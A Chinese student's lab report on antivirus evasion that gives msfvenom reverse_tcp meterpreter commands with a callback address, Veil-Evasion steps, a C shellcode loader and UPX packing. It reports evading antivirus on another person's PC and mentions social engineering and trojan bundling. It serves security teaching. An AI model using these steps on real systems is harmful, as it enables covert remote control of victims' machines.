2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

一、实验内容

正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

通过组合应用各种技术实现恶意代码免杀

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验步骤

任务一 正确使用免杀工具或技巧

1、使用msf编码器msfvenom生成后门程序

  • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.196.200 LPORT=5315 -f exe > msf5315.exe指令进行多次编码,生成.exe的后门程序

  • 放到windows系统中,果不其然,杀软可以发现它

  • 使用virscan进行扫描,结果如下所示:

有超过一半的杀软能查杀该后门程序

  • msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.196.200 lport=5315 x> 5315met.jar生成.jar的后门程序

  • 使用msfconsole回连成功

  • 放到windows系统中,杀软并没有发现它...我觉得可能是我的杀软太垃圾了...

  • 使用virscan进行扫描,结果如下所示:

虽然好像检测率降低了,但是没有实现免杀,提示警告信息

2、使用veil-evasion生成后门程序

使用代理安装的,有些包会下载安装失败,可以提前安装这些包,指令如下:(可以不做这一步)

# apt-get install libncurses5*
# apt-get install libavutil55*
# apt-get install gcc-mingw-w64*
# apt-get install wine32

再使用如下指令进行后续安装

# git clone https://github.com/Veil-Framework/Veil
# cd Veil/setup/
# ./setup.sh 

以上过程比较漫长,需要一些耐心~

  • 输入veil,启用veil

  • 输入use evasion,进入veil-evasion
  • 输入list,查看可生成文件的格式

  • 输入use 7,选择C语言格式
  • 依次输入set LHOST 192.168.196.200set LPORT 5315设置反弹连接IP和端口
  • 输入generate生成文件,再设置playload的名字:payload5315

  • 生成成功

  • 放到windows中,显示"文件所在的卷已被外部更改,文件不再有效",经过查杀,发现果然被发现了:

  • 使用virscan进行扫描,结果如下所示:

查杀结果依然显示危险

3、利用shellcode编程生成后门程序

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.200 LPORT=5315 -f c生成一段shellcode

  • 利用shellcode编写一个C语言程序后门,再用i686-w64-mingw32-g++ shellcode5315.c -o shellcode5315.exe编译运行后,测试其可用性

C语言代码如下:

unsigned char buf[] =
"此处复制粘贴之前用msf生成的buf" int main()
{
int (*func)() = (int(*)())buf;
func();
}

  • 复制到Windows中双击运行时显示"文件所在的卷已被外部更改,文件不再有效",通过查杀发现果然被杀软找到了:

  • 使用virscan进行扫描,结果如下所示:

无法实现免杀

任务二 通过组合应用各种技术实现恶意代码免杀

  • 对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的payload5315.exe可执行文件加UPX压缩壳尝试实现免杀

  • 被控机是Win7虚拟机,电脑杀软为腾讯电脑管家13.0.19837.233

  • 使用virscan进行扫描,结果如下所示:

  • windows杀软没有发现:

  • 使用msfconsole回连成功:

不知道为什么,虽然windows杀软没查出来,但是在virscan中反而检测率很高了...

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

最后一项任务生成的后门程序在自己的windows虚拟机上可以实现免杀,但是在别人的电脑上尝试后发现不能回连,于是我开始找原因(过程令人头秃)...

  • 我们先相互ping一下主机,都发现没有ping通,显示"TTL过期",这是两台主机不在一个网段导致的,于是我们尝试改变了一下网络适配器为“桥接模式”,于是...我的windows 成功的ping通了她的kali,然鹅她的ping不通我的kali,显示“无法访问目标主机”...但是她能ping通我的本机系统

  • 我在网上查了一下,一般回答都列举出以下几个方面

    • 本机虚拟机没有关闭防火墙...但是kali没有防火墙,不存在关闭开启之说
    • 不在一个网段...这个刚刚修改过网段,不存在这个问题
    • 本机网关设置错误...不存在这个问题
    • 对方主机没关防火墙...尝试关了之后重启...好像成功了!!但是之前也尝试过关防火墙,但是也没有ping通,不知道这次为什么成功了,可能是因为重启了叭

以下是成功过程截图

和任务二一样,对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的payload5315.exe可执行文件加UPX压缩壳尝试实现免杀

另一台被控机是Win10本机,电脑杀软为金山毒霸11.2019.1.1.032617.1335

  • 我将文件发送到目标主机上,用杀软进行查杀,没有发现危险

  • 双击运行后,我的kali的console实现回连(对方主机ip为10.1.1.175)

三、实验中遇到的问题

在安装运行Veil-Evasion时,遇到很多报错...换了好几个源文件,好几种方法都无法正常安装运行

解决过程:

一开始询问其他同学,发现安装好的同学的kali虚拟机是2019版的,而没安装好的同学基本是2018版,可能和虚拟机版和veil版本不匹配有关,于是我重新安装了2019版的kali虚拟机,将之前的文件拷贝进新的虚拟机,最终按照任务中的教程完成安装。

在使用veil的过程中选择python语言生成文件失败

解决过程:

通过学习学姐的博客,发现是python语言不可以使用的问题,所以按照同样的方法,选择别的语言,例如“c”试一下就行了。

在使用i686-mingw32-w64-g++编译器时,提示找不到该指令

解决过程:

一开始使用apt-get install i686-w64-mingw32指令下载,显示定位不到软件包

后来使用update更新本地软件包后,可正常使用。

当我将生成的后门程序复制到windows上并双击运行时,显示"文件所在的卷已被外部更改,文件不再有效"

解决过程:

通过查询网络,只要关掉杀软就可以解决这个问题,这也从反面证明这个程序被杀软发现了才无法运行,而且通过杀软查杀也发现了该后门程序危险。

四、实验总结

1、基础问题回答

(1)杀软是如何检测出恶意代码的?

主要有三种方式:1)第一种是基于特征码的检测,特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。2)第二种是启发式恶意软件检测,简单来说,就是杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。3)第三种是基于行为的恶意软件检测,是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

(2)免杀是做什么?

我认为是通过一些特殊的方法,如加壳、编码等,使杀软无法识别主机中的恶意代码。

(3)免杀的基本方法有哪些?

主要有三种方法:1)第一种是改变特征码,如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。2)第二种是改变行为,如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。3)第三种是非常规方法,如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。

2、实验总结和收获

这次实验是在前一个后门原理实验上的进阶,需要对后门技术的熟练掌握和运用。虽然此次实验比较基础,对一些现有平台的依赖性仍然很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。

同时,我在打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全。想生成一个不被发现的后门其实也不是什么难事。所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。

3、离实战还缺少的技术或步骤

我在实验中基本就是跟着指导指令一步一步走,没有什么技术含量,而且实验中的后门程序都是我们直接复制粘贴到靶机上的,但实际攻击的时候是不可能把一个赤裸裸的木马放过去的,所以要用一些木马伪装技术,包括木马捆绑、自解压木马、CHM木马等等。

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  3. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  4. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  6. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  8. 20155218《网络对抗》Exp3 免杀原理与实践

    20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

  9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  10. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

随机推荐

  1. spring入门-注解的使用

    说明: 使用注解和使用配置文件实现的功能是一样的,都是为了解耦,但是配置文件语法属于非编程语言法语,无法调试,难以定位bug,使用注解更易定位问题. 配置步骤 编译器必须先安装了STS插件 第一步 导 ...

  2. sqoop的安装

    Sqoop是一个用来完成Hadoop和关系型数据库中的数据相互转移的工具, 他可以将关系型数据库(MySql,Oracle,Postgres等)中的数据导入Hadoop的HDFS中, 也可以将HDFS ...

  3. 01-JDK环境配置

    环境说明: Window server 2008 64位 jdk-7u80-windows-x64 apache-tomcat-7.0.57-windows-x64 1.安装JDK环境配置 JAVA_ ...

  4. Scrapy CrawlSpider源码分析

    crawl.py中主要包含两个类: 1. CrawlSpider 2. Rule link_extractor:传LinkExtractor实例对象 callback:传”func_name“ cb_ ...

  5. CSS3之动画模块实现云朵漂浮效果

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  6. 【人工智能】从零开始学好人工智能,AI知识体系和框架

    写在前面: 最近公司的业务方向开始向AI方向改变(人工智能+文娱),但是现阶段AI方面的知识还没有储备,所以作为测试,也开始学习这方面的知识,不掉队. 知识储备: 1.阶段一-高等数学       高 ...

  7. java 连接SQL Server

    1.确认服务器的连通性,并且使用账户密码模式登陆有效. 1).登陆服务器 2).查看安全性 2.新建数据库用于测试 3.下载jdbc安装并配置 进入微软官网主页--> 搜索JDBC-->找 ...

  8. 分组密码算法AES-128,192,256 C语言实现第一版

    AES的C语言实现入门版 AES分组密码算法中明文分组位128bits,密钥分组可以为128,192,256bits.AES也是由最基本的变换单位——“轮”多次迭代而成的.我们将 AES 中的轮变换计 ...

  9. java面试题复习(八)

    71.如何通过反射创建对象? 方法1:通过类对象调用newInstance()方法,例如:String.class.newInstance()  方法2:通过类对象的getConstructor()或 ...

  10. for 和while循环 if else

    for和 while循环 当你知道循环次数的话就用for循环, 不知道的时候用while循环,while必须要有结束条件 a +=1  等于 a =a+1 for i in  xxx: i:是一个变量 ...